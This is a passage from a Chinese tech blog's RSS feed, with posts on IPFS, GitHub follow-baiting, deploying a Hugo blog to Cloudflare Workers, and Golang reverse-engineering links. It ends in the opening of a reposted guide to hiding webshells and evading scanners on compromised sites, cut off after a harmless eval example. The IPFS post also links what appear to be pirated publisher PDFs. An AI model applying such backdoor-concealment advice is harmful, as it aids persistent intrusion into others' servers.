noreffer" class=post-link>IPFS文档:DNSLink</a></p><h3 id=更新内容><a href=#更新内容 class="header-mark headerLink">更新内容</a></h3><p>更新内容时,只需要再添加一次,然后重新发布IPNS,如果你是使用DNSLink的方式,还需要修改DNS记录</p><h2 id=底层技术><a href=#底层技术 class="header-mark headerLink">底层技术</a></h2><h3 id=merkle有向无环图dag><a href=#merkle有向无环图dag class="header-mark headerLink">Merkle有向无环图(DAG)</a></h3><p>每个Merkle都是一个有向无环图 ,因为每个节点都通过其名称访问。每个Merkle分支都是其本地内容的哈希,它们的子节点使用它们的哈希而非完整内容来命名。因此,在创建后将不能编辑节点。这可以防止循环(假设没有哈希碰撞),因为无法将第一个创建的节点链接到最后一个节点从而创建最后一个引用。</p><p>对任何Merkle来说,要创建一个新的分支或验证现有分支,通常需要在本地内容的某些组合体(例如列表的子哈希和其他字节)上使用一种哈希算法。IPFS中有多种散列算法可用。</p><p>输入到散列算法中的数据的描述见 <a href=https://github.com/ipfs/go-ipfs/tree/master/merkledag target=_blank rel="noopener noreffer" class=post-link>https://github.com/ipfs/go-ipfs/tree/master/merkledag</a></p><p>具体见:<a href=https://docs.ipfs.io/concepts/merkle-dag/ target=_blank rel="noopener noreffer" class=post-link>IPFS文档:Merkle</a></p><h3 id=分布式散列表dht><a href=#分布式散列表dht class="header-mark headerLink">分布式散列表DHT</a></h3><p>具体见:<a href=https://docs.ipfs.io/concepts/dht/ target=_blank rel="noopener noreffer" class=post-link>IPFS文档:DHT</a></p><h2 id=上层应用><a href=#上层应用 class="header-mark headerLink">上层应用</a></h2><p>IPFS作为一个文件系统,本质就是用来存储文件,基于这个文件系统的一些特性,有很多上层应用涌现出来。</p><p><img src=/posts/tutorials/p2p/ipfs/ipfs-applications-diagram_hu19aac670f6e619937c2c8cad6ce6f536_739482_2707x1227_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/ipfs-applications-diagram_hu19aac670f6e619937c2c8cad6ce6f536_739482_2707x1227_resize_q75_h2_box_3.webp title=基于IPFS的应用 height=1227 width=2707 loading=lazy></p><h2 id=filecoin><a href=#filecoin class="header-mark headerLink">Filecoin</a></h2><p><img src=/posts/tutorials/p2p/ipfs/filecoin_hu59116c23b2200775e35574249313ea8b_277953_1088x756_resize_q75_h2_box_3.webp alt=/posts/tutorials/p2p/ipfs/filecoin_hu59116c23b2200775e35574249313ea8b_277953_1088x756_resize_q75_h2_box_3.webp title=Filecoin height=756 width=1088 loading=lazy></p><h2 id=基于ipfs构建应用><a href=#基于ipfs构建应用 class="header-mark headerLink">基于IPFS构建应用</a></h2><p>IPFS提供了IPFS协议的<strong>Golang</strong>和<strong>JavaScript</strong>实现,可以非常方便的将IPFS集成到我们的应用当中,充分利用IPFS的各种优势。</p><h2 id=未来的期望><a href=#未来的期望 class="header-mark headerLink">未来的期望</a></h2><p>对于P2P:https://t.zu1k.com/post/618818179793371136/%E5%85%B3%E4%BA%8Eresilio-sync</p><h2 id=一些问题><a href=#一些问题 class="header-mark headerLink">一些问题</a></h2><h3 id=ipfs可以永久存储文件><a href=#ipfs可以永久存储文件 class="header-mark headerLink">IPFS可以永久存储文件?</a></h3><p>很多人误认为IPFS可以永久存储文件,从使用的技术来讲的确更有利于永久存储内容,但是还需不断需要有人访问、Pin、传播该内容,否则待全网所有节点都将该内容数据GC掉,数据还是会丢失。</p><h3 id=ipfs是匿名的><a href=#ipfs是匿名的 class="header-mark headerLink">IPFS是匿名的?</a></h3><p>有人认为P2P就是匿名的,就像Tor一样,就像以太坊一样。实际上绝大部分P2P应用都不是匿名的,IPFS也不是匿名的,所以当你在发布敏感信息的时候,需要保护好自己。IPFS目前还不支持Tor网络。</p><h3 id=ipfs速度快延迟低><a href=#ipfs速度快延迟低 class="header-mark headerLink">IPFS速度快,延迟低?</a></h3><p>从理论上来讲,只要节点数量足够多,基于P2P技术的IPFS速度能够跑满你的带宽,延迟也有可能比中心化的Web低。但实际上,就目前情况而言,使用IPFS的人并不多,你链接的IPFS节点最多也就1000个左右(至少目前阶段我最多也就撑死连1000个以内),所以并不能达到理论的理想状态,所以现在IPFS的速度并不是很快,并且很少人访问的冷数据延迟很高,还有大概率找不到。</p><h3 id=ipfs是骗局filecoin是骗局><a href=#ipfs是骗局filecoin是骗局 class="header-mark headerLink">IPFS是骗局,Filecoin是骗局?</a></h3><p>的确,目前有很多投机的人,他们想要通过销售所谓的IPFS矿机(其实就是普通的电脑接上大硬盘)来盈利,所以他们故意去混淆IPFS、Filecoin、比特币、区块链等概念,打着永久存储的伪概念,用区块链这个热点来欺骗啥都不懂的老人,这种行为非常无耻。</p><p>实际上,IPFS本身并不是骗局,基于IPFS产生的激励层Filecoin也不是骗局,从我的使用来看,任何人都<strong>无需</strong>特意去购买任何所谓的IPFS矿机,只需要在自己的电脑运行时,后台跑一个IPFS守护进程就可以了。不要被所谓的<strong>币</strong>冲昏了头脑。</p><h2 id=参考资料><a href=#参考资料 class="header-mark headerLink">参考资料</a></h2><ul><li><a href=https://ipfs.io/ target=_blank rel="noopener noreffer" class=post-link>IPFS官网</a></li><li><a href=https://docs.ipfs.io/ target=_blank rel="noopener noreffer" class=post-link>IPFS文档</a></li><li><a href=https://blog.ipfs.io/ target=_blank rel="noopener noreffer" class=post-link>IPFS博客</a></li><li><a href=https://zh.wikipedia.org/wiki/%E6%98%9F%E9%99%85%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F target=_blank rel="noopener noreffer" class=post-link>维基百科:星际文件系统</a></li><li><a href=https://io-oi.me/tech/host-your-blog-on-ipfs/ target=_blank rel="noopener noreffer" class=post-link>将博客部署到星际文件系统(IPFS)</a></li></ul><h2 id=资源分享><a href=#资源分享 class="header-mark headerLink">资源分享</a></h2><ul><li>机械工业出版社294G原版PDF:<a href=https://ipfs.io/ipfs/QmZYDnPgTRs1MmBx9TPrADFV1K85sPSqLJhAShWayubu9c/ target=_blank rel="noopener noreffer" class=post-link>/ipfs/QmZYDnPgTRs1MmBx9TPrADFV1K85sPSqLJhAShWayubu9c</a></li></ul>]]></description></item><item><title>不讲武德!来骗Follow</title><link>https://zu1k.com/posts/events/cheat-for-follow/</link><pubDate>Sat, 28 Nov 2020 15:07:17 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/events/cheat-for-follow/</guid><description><![CDATA[
<p>下午,还是习惯性的打开GitHub,发现有个没有头像的人Follow我</p><p><img src=/posts/events/cheat-for-follow/follow_me_hudbacbef76cff4e27ce39ff3750876ebc_11159_634x158_resize_q75_h2_box_3.webp alt=/posts/events/cheat-for-follow/follow_me_hudbacbef76cff4e27ce39ff3750876ebc_11159_634x158_resize_q75_h2_box_3.webp title=有人Follow我 height=158 width=634 loading=lazy></p><p>通常出于礼貌,我会查看对方的个人页和他的仓库,如果感觉不错便会回Follow他</p><p>当我打开他的GitHub个人profile页面,令我惊讶的是他总共follow了<strong>59.3k</strong>人,而他的followers人数又七百多人</p><p><img src=/posts/events/cheat-for-follow/follow_count_hue4068906c84c5c20c9f391a3a5a2e36c_9093_344x211_resize_q75_h2_box_3.webp alt=/posts/events/cheat-for-follow/follow_count_hue4068906c84c5c20c9f391a3a5a2e36c_9093_344x211_resize_q75_h2_box_3.webp title=Follow数 height=211 width=344 loading=lazy></p><p>他只Pin了一个仓库,有70多个star,按理说无法吸引如此多数量的followers,这激起了我的好奇,难不成有什么好的内容没有Pin出来?</p><p><img src=/posts/events/cheat-for-follow/pin_hu1493810ad9018ce5b639e637efbb50bc_12566_597x199_resize_q75_h2_box_3.webp alt=/posts/events/cheat-for-follow/pin_hu1493810ad9018ce5b639e637efbb50bc_12566_597x199_resize_q75_h2_box_3.webp title=Pin height=199 width=597 loading=lazy></p><p>先看了一下他的贡献,连续两年都很稀疏,也没有什么突出的贡献量,平平无奇</p><p><img src=/posts/events/cheat-for-follow/contributions2019_huf6d5214b0d81e4dac3de8e8cce646329_9997_920x217_resize_q75_h2_box_3.webp alt=/posts/events/cheat-for-follow/contributions2019_huf6d5214b0d81e4dac3de8e8cce646329_9997_920x217_resize_q75_h2_box_3.webp title=2019年贡献量 height=217 width=920 loading=lazy></p><p><img src=/posts/events/cheat-for-follow/contributions2020_hu08e02a6137d338baf78de2d51b045a6b_9814_930x225_resize_q75_h2_box_3.webp alt=/posts/events/cheat-for-follow/contributions2020_hu08e02a6137d338baf78de2d51b045a6b_9814_930x225_resize_q75_h2_box_3.webp title=2020年贡献量 height=225 width=930 loading=lazy></p><p>接下来查看他的仓库,一共有三百五十多个仓库,其中绝大多数都是Fork来的,通过筛选找到他自己的仓库25个</p><p><img src=/posts/events/cheat-for-follow/sources_hud21c0bff936177525d84ccef19de0eda_14624_950x186_resize_q75_h2_box_3.webp alt=/posts/events/cheat-for-follow/sources_hud21c0bff936177525d84ccef19de0eda_14624_950x186_resize_q75_h2_box_3.webp title=repo height=186 width=950 loading=lazy></p><p>仔细查看这25个项目,除了他pin出来的那个仓库有73个star外,其他的统统都没有或者仅有个位数star</p><p><img src=/posts/events/cheat-for-follow/source-info_hu464259cd0106dab6c2919c343362b41b_37654_940x501_resize_q75_h2_box_3.webp alt=/posts/events/cheat-for-follow/source-info_hu464259cd0106dab6c2919c343362b41b_37654_940x501_resize_q75_h2_box_3.webp title=25 height=501 width=940 loading=lazy></p><p>而仓库的内容也没有太有价值的东西,所以几乎可以判断他的follower不是因为有价值的东西而follow的</p><p>他Follow了近6万人,star了5千多个项目,结合我自己有回Follow的习惯,看样子这个人的follower大部分都是被骗来的</p><p>这个程序员不讲武德。来,骗!我涉世未深的,小同志。这好吗?这不好。</p><p>我劝!这位,程序员,耗子尾汁,好好反思。以后不要再犯这样的聪明,小聪明,啊</p><blockquote><p>感兴趣的同学看这里:https://github.com/Lisprez</p></blockquote>]]></description></item><item><title>将博客部署到CF Workers Site</title><link>https://zu1k.com/posts/coding/deploy-blog-to-cf-workers-site/</link><pubDate>Wed, 25 Nov 2020 12:06:25 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/coding/deploy-blog-to-cf-workers-site/</guid><description><![CDATA[
<p>前几天Cloudflare将Workers KV增加了免费额度,还不得搞起来?</p><p>利用Workers KV存储网页内容,通过Workers将内容返回给用户,就等于将自己的网站直接部署到CF成千上万的边缘节点当中,全球访问速度和TTFB都应该不错</p><p><a href=https://blog.cloudflare.com/workers-sites/ target=_blank rel="noopener noreffer" class=post-link>https://blog.cloudflare.com/workers-sites/</a></p><h2 id=安装wrangler><a href=#安装wrangler class="header-mark headerLink">安装Wrangler</a></h2><p><a href=https://developers.cloudflare.com/workers/cli-wrangler/install-update target=_blank rel="noopener noreffer" class=post-link>官方文档</a></p><p>Wrangler有两种安装方式,通过NPM或者Cargo安装都可以,任选其一即可</p><p>准备好NodeJS和NPM环境,然后执行下面命令,NPM方式是下载预编译好的二进制程序,安装速度比较快</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>npm i @cloudflare/wrangler -g
</span></span></code></pre></td></tr></table></div></div></div><p>或者准备好Rust环境,然后执行下面命令,Cargo方式是在本机从源码编译,安装速度比较慢</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>cargo install wrangler
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl><span class=c1># 使用系统OpenSSL库,生成的二进制会小一些</span>
</span></span><span class=line><span class=cl>cargo install wrangler --features sys-OpenSSL
</span></span></code></pre></td></tr></table></div></div></div><h2 id=部署><a href=#部署 class="header-mark headerLink">部署</a></h2><p>我自己博客使用的是Hugo,下面所有内容都是按照Hugo的方式来,其他静态站点生成器方法类似</p><h3 id=登录><a href=#登录 class="header-mark headerLink">登录</a></h3><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>wrangler login
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl><span class=c1># 手动设置token</span>
</span></span><span class=line><span class=cl>wrangler config
</span></span></code></pre></td></tr></table></div></div></div><h3 id=初始化><a href=#初始化 class="header-mark headerLink">初始化</a></h3><p>进入自己站点的目录,执行下面命令进行初始化。这里Wrangler会自动安装cargo-generate工具,在本目录下创建一个<code>workers-site</code>项目目录,然后生成一个<code>wrangler.toml</code>配置文件</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>wrangler init --site
</span></span></code></pre></td></tr></table></div></div></div><p>打开<code>wrangler.toml</code>文件,按照自己的信息进行修改</p><p><code>account_id</code>和<code>zone_id</code>都可以从Cloudflare官网上找到,<code>route</code>是路由到Workers的规则,这里写你需要绑定的域名,不要忘记后面的<code>/*</code></p><p><code>bucket</code>是网站的目录,因为我用的是Hugo,所以这个目录默认是<code>public</code></p><p><code>entry-point</code>是部署到Workers的js代码目录,这里不需要修改,因为刚刚初始化的时候生成的项目目录名已经自动填写上了</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-toml data-lang=toml><span class=line><span class=cl><span class=nx>name</span> <span class=p>=</span> <span class=s2>"blog"</span>
</span></span><span class=line><span class=cl><span class=nx>type</span> <span class=p>=</span> <span class=s2>"webpack"</span>
</span></span><span class=line><span class=cl><span class=nx>account_id</span> <span class=p>=</span> <span class=s2>"eu5d123456789987456321aabcddgeh"</span>
</span></span><span class=line><span class=cl><span class=nx>workers_dev</span> <span class=p>=</span> <span class=kc>true</span>
</span></span><span class=line><span class=cl><span class=nx>route</span> <span class=p>=</span> <span class=s2>"cf.zu1k.com/*"</span>
</span></span><span class=line><span class=cl><span class=nx>zone_id</span> <span class=p>=</span> <span class=s2>"fhidag8u98f43h93fhiohr929c8d59efhauh"</span>
</span></span><span class=line><span class=cl>
</span></span><span class=line><span class=cl><span class=p>[</span><span class=nx>site</span><span class=p>]</span>
</span></span><span class=line><span class=cl><span class=nx>bucket</span> <span class=p>=</span> <span class=s2>"public"</span>
</span></span><span class=line><span class=cl><span class=nx>entry-point</span> <span class=p>=</span> <span class=s2>"workers-site"</span>
</span></span></code></pre></td></tr></table></div></div></div><h3 id=预览><a href=#预览 class="header-mark headerLink">预览</a></h3><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>wrangler preview --watch
</span></span></code></pre></td></tr></table></div></div></div><h3 id=发布><a href=#发布 class="header-mark headerLink">发布</a></h3><p>在Cloudflare中增加一条DNS记录,需要打开CF代理</p><p><img src=/posts/coding/deploy-blog-to-cf-workers-site/cf-dns_hu3529eee56912ee733c6785e8e28d1194_11315_1016x180_resize_q75_h2_box_3.webp alt=/posts/coding/deploy-blog-to-cf-workers-site/cf-dns_hu3529eee56912ee733c6785e8e28d1194_11315_1016x180_resize_q75_h2_box_3.webp title=DNS记录 height=180 width=1016 loading=lazy></p><p>执行下面命令进行部署</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-shell data-lang=shell><span class=line><span class=cl>wrangler publish
</span></span></code></pre></td></tr></table></div></div></div><h2 id=使用github-actions持续集成><a href=#使用github-actions持续集成 class="header-mark headerLink">使用GitHub Actions持续集成</a></h2><p>Cloudflare提供了官方的<a href=https://github.com/marketplace/actions/deploy-to-cloudflare-workers-with-wrangler target=_blank rel="noopener noreffer" class=post-link>Wrangler GitHub Action</a>,可以直接用GitHub Actions将博客内容部署到CF Workers Site</p><h3 id=添加认证信息><a href=#添加认证信息 class="header-mark headerLink">添加认证信息</a></h3><p>在github仓库设置一个secret,名字为<code>CF_API_TOKEN</code>,值为Wrangler的token</p><p><img src=/posts/coding/deploy-blog-to-cf-workers-site/token_hue7d26e74b9bd0c0f9cb15f0ae4145e4d_11887_561x246_resize_q75_h2_box_3.webp alt=/posts/coding/deploy-blog-to-cf-workers-site/token_hue7d26e74b9bd0c0f9cb15f0ae4145e4d_11887_561x246_resize_q75_h2_box_3.webp title=CF_API_TOKEN height=246 width=561 loading=lazy></p><h3 id=workflows><a href=#workflows class="header-mark headerLink">Workflows</a></h3><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span><span class=lnt>20
</span><span class=lnt>21
</span><span class=lnt>22
</span><span class=lnt>23
</span><span class=lnt>24
</span><span class=lnt>25
</span><span class=lnt>26
</span><span class=lnt>27
</span><span class=lnt>28
</span><span class=lnt>29
</span><span class=lnt>30
</span><span class=lnt>31
</span><span class=lnt>32
</span><span class=lnt>33
</span><span class=lnt>34
</span><span class=lnt>35
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-yml data-lang=yml><span class=line><span class=cl><span class=nt>name</span><span class=p>:</span><span class=w> </span><span class=l>hugo</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=nt>on</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>push</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>branches</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=l>master</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w></span><span class=nt>jobs</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>deploy</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>runs-on</span><span class=p>:</span><span class=w> </span><span class=l>ubuntu-18.04</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>steps</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=nt>uses</span><span class=p>:</span><span class=w> </span><span class=l>actions/checkout@v2</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>with</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>submodules</span><span class=p>:</span><span class=w> </span><span class=kc>true</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>fetch-depth</span><span class=p>:</span><span class=w> </span><span class=m>0</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=nt>name</span><span class=p>:</span><span class=w> </span><span class=l>Setup Hugo</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>uses</span><span class=p>:</span><span class=w> </span><span class=l>peaceiris/actions-hugo@v2</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>with</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>hugo-version</span><span class=p>:</span><span class=w> </span><span class=s1>'0.78.2'</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>extended</span><span class=p>:</span><span class=w> </span><span class=kc>true</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=nt>name</span><span class=p>:</span><span class=w> </span><span class=l>Build</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>run</span><span class=p>:</span><span class=w> </span><span class=l>hugo --minify</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=nt>name</span><span class=p>:</span><span class=w> </span><span class=l>Deploy</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>uses</span><span class=p>:</span><span class=w> </span><span class=l>peaceiris/actions-gh-pages@v3</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>with</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>github_token</span><span class=p>:</span><span class=w> </span><span class=l>${{ secrets.GITHUB_TOKEN }}</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>publish_dir</span><span class=p>:</span><span class=w> </span><span class=l>./public</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span>- <span class=nt>name</span><span class=p>:</span><span class=w> </span><span class=l>Publish</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>uses</span><span class=p>:</span><span class=w> </span><span class=l>cloudflare/wrangler-action@1.3.0</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>with</span><span class=p>:</span><span class=w>
</span></span></span><span class=line><span class=cl><span class=w> </span><span class=nt>apiToken</span><span class=p>:</span><span class=w> </span><span class=l>${{ secrets.CF_API_TOKEN }}</span><span class=w>
</span></span></span></code></pre></td></tr></table></div></div></div>]]></description></item><item><title>Golang逆向资料</title><link>https://zu1k.com/posts/security/reverse/golang-reverse/</link><pubDate>Mon, 05 Oct 2020 20:11:24 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/security/reverse/golang-reverse/</guid><description><![CDATA[
<p>前段时间从逆向xray开始入门Golang逆向,打算深入学习一下Golang逆向方法,这几天看了很多相关的文章,原本想要自己总结一文,但无奈大佬们的总结太全面了,我就直接扔链接吧</p><h2 id=go二进制文件逆向分析从基础到进阶><a href=#go二进制文件逆向分析从基础到进阶 class="header-mark headerLink">Go二进制文件逆向分析从基础到进阶</a></h2><p>J!4Yu大佬的系列文章太全面了,他写的<a href=https://github.com/0xjiayu/go_parser target=_blank rel="noopener noreffer" class=post-link>go_parser</a>相当好用</p><ul><li><a href=https://www.anquanke.com/post/id/214940 target=_blank rel="noopener noreffer" class=post-link>综述</a></li><li><a href=https://www.anquanke.com/post/id/215419 target=_blank rel="noopener noreffer" class=post-link>MetaInfo、函数符号和源码文件路径列表</a></li><li><a href=https://www.anquanke.com/post/id/215820 target=_blank rel="noopener noreffer" class=post-link>数据类型</a></li><li><a href=https://www.anquanke.com/post/id/218377 target=_blank rel="noopener noreffer" class=post-link>itab与strings</a></li><li><a href=https://www.anquanke.com/post/id/218674 target=_blank rel="noopener noreffer" class=post-link>Tips与实战案例</a></li></ul><h2 id=英文文章><a href=#英文文章 class="header-mark headerLink">英文文章</a></h2><ul><li><a href=https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/ target=_blank rel="noopener noreffer" class=post-link>Reversing GO binaries like a pro</a></li><li><a href=https://github.com/strazzere/golang_loader_assist/blob/master/Bsides-GO-Forth-And-Reverse.pdf target=_blank rel="noopener noreffer" class=post-link>Bsides-GO-Forth-And-Reverse</a></li><li><a href=http://home.in.tum.de/~engelke/pubs/1709-ma.pdf target=_blank rel="noopener noreffer" class=post-link>Reconstructing Program Semantics from Go binaries</a></li><li><a href=https://www.pnfsoftware.com/blog/analyzing-golang-executables/ target=_blank rel="noopener noreffer" class=post-link>JEB Analyzing Golang Executables</a></li><li><a href=https://dr-knz.net/go-calling-convention-x86-64.html target=_blank rel="noopener noreffer" class=post-link>The Go low-level calling convention on x86-64</a></li></ul><h2 id=操作文章和总结><a href=#操作文章和总结 class="header-mark headerLink">操作文章和总结</a></h2><ul><li><a href=https://www.anquanke.com/post/id/85694 target=_blank rel="noopener noreffer" class=post-link>手把手教你如何专业地逆向GO二进制程序</a></li><li><a href=https://bbs.pediy.com/thread-247232.htm target=_blank rel="noopener noreffer" class=post-link>inctf(ultimateGo)</a></li><li><a href=https://www.freebuf.com/articles/others-articles/176803.html target=_blank rel="noopener noreffer" class=post-link>Go语言逆向去符号信息还原</a></li><li><a href=https://www.anquanke.com/post/id/170332 target=_blank rel="noopener noreffer" class=post-link>无符号Golang程序逆向方法解析</a></li><li><a href=https://www.cnxct.com/why-golang-elf-binary-file-is-large-than-c/ target=_blank rel="noopener noreffer" class=post-link>golang语言编译的二进制可执行文件为什么比 C 语言大</a></li><li><a href=http://blog.wuwenxiang.net/Go-Questions target=_blank rel="noopener noreffer" class=post-link>Go-逆向学习问题总结</a></li></ul><h2 id=工具和插件><a href=#工具和插件 class="header-mark headerLink">工具和插件</a></h2><ul><li><a href=https://github.com/strazzere/golang_loader_assist target=_blank rel="noopener noreffer" class=post-link>https://github.com/strazzere/golang_loader_assist</a></li><li><a href=https://github.com/sibears/IDAGolangHelper target=_blank rel="noopener noreffer" class=post-link>https://github.com/sibears/IDAGolangHelper</a></li><li><a href=https://github.com/0xjiayu/go_parser target=_blank rel="noopener noreffer" class=post-link>https://github.com/0xjiayu/go_parser</a></li><li><a href=https://github.com/CarveSystems/gostringsr2 target=_blank rel="noopener noreffer" class=post-link>https://github.com/CarveSystems/gostringsr2</a></li><li><a href=https://github.com/JacobPimental/r2-gohelper target=_blank rel="noopener noreffer" class=post-link>https://github.com/JacobPimental/r2-gohelper</a></li><li><a href=https://github.com/sysopfb/GoMang target=_blank rel="noopener noreffer" class=post-link>https://github.com/sysopfb/GoMang</a></li><li><a href=https://github.com/pnfsoftware/jeb-golang-analyzer target=_blank rel="noopener noreffer" class=post-link>https://github.com/pnfsoftware/jeb-golang-analyzer</a></li><li><a href=https://gitlab.com/zaytsevgu/goutils target=_blank rel="noopener noreffer" class=post-link>https://gitlab.com/zaytsevgu/goutils</a></li><li><a href=https://gitlab.com/zaytsevgu/GoUtils2.0 target=_blank rel="noopener noreffer" class=post-link>https://gitlab.com/zaytsevgu/GoUtils2.0</a></li></ul>]]></description></item><item><title>如何优雅的隐藏你的 Webshell</title><link>https://zu1k.com/posts/security/web-security/hide-your-webshell/</link><pubDate>Sat, 08 Aug 2020 09:21:59 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/security/web-security/hide-your-webshell/</guid><description><![CDATA[
<blockquote><p>转自:酒仙桥六号部队 <a href=https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug target=_blank rel="noopener noreffer" class=post-link>https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug</a>
这个公众号的文章质量都非常高,推荐大家关注</p></blockquote><p>拿下一个站后总希望自己的后门能够很隐蔽!不让网站管理员或者其他的Hacker发现,网上关于隐藏后门的方法也很多,如加密、包含,解析漏洞、加隐藏系统属性等等,但大部分已经都不实用了,随便找一个查马的程序就能很快的查出来,下面分享我总结的一些经验:</p><h2 id=制作免杀webshell><a href=#制作免杀webshell class="header-mark headerLink">制作免杀webshell</a></h2><p>隐藏webshell最主要的就是做免杀,免杀做好了,你可以把webshell放在函数库文件中或者在图片马中,太多地方可以放了,只要查杀工具查不到,你的这个webshell就能存活很长时间,毕竟管理员也没有那么多精力挨个代码去查看。</p><h3 id=命令执行的方法><a href=#命令执行的方法 class="header-mark headerLink">命令执行的方法</a></h3><p>这里使用我们最常用的php的一句话马来给大家做演示,PHP版本是5.6的,在写一句话马之前我们来先分析一下PHP执行命令方法</p><h4 id=直接执行><a href=#直接执行 class="header-mark headerLink">直接执行</a></h4><p>使用php函数直接运行命令,常见的函数有(eval、system、assert)等,可以直接调用命令执行。</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-php data-lang=php><span class=line><span class=cl><span class=o>@</span><span class=k>eval</span><span class=p>(</span><span class=s1>'echo 这是输出;'</span><span class=p>);</span>
